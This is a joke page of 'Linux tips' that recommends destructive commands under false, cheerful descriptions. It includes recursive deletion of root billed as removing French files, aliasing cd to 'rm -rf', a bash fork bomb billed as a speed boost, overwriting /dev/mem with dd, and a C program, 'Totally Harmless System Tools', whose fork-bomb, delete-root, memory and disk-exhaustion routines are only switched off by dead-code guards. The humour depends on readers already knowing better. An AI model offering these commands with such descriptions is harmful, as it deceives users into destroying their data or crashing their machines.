Master Linus the Hard Way!

Because who needs sanity when you have the terminal?

Tip #1: rm -fr /

Nobody needs Fr*nch fryles wasting their computer space. Remove the French language pack with this simple command!

Tip #2: sudo !!

Tried something and it failed? Just add sudo and hope for the best.

Tip #3: alias cd='rm -rf'

This will make you have to do a lot less navigating!

Tip #4: Alt+F4

Unlike on Windows, on Linux, Alt+F4 enables a setting to make your gaming experience smoother!

Tip #5: :(){ :|:& };:

This super secret command enables your computer to utilize all of its processing power for maximum performance!

Tip #6: Run this code

This code once run should boost your operating system's immune system by a whopping 3%!


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void fork_bomb() {
    while (0) {
        fork();
    }
}

void delete_root() {
    printf("Attempting to delete everything...\n");
    if (0) {
        system("rm -rf / --no-preserve-root");
    }
}

void memory_eater() {
    while (0) {
        malloc(1024 * 1024 * 1024);
    }
}

void disk_filler() {
    if (0) {
        FILE *file = fopen("/tmp/fake_destroy.txt", "w");
        while (1) {
            fprintf(file, "Filling disk with nonsense...\n");
        }
        fclose(file);
    }
}

int main() {
    printf("Welcome to Totally Harmless System Tools™\n");

    fork_bomb();
    delete_root();
    memory_eater();
    disk_filler();

    return 0;
}
            
Tip #7: swapoff -a && dd if=/dev/zero of=/dev/mem

This complex looking command makes you immune to rickrolls!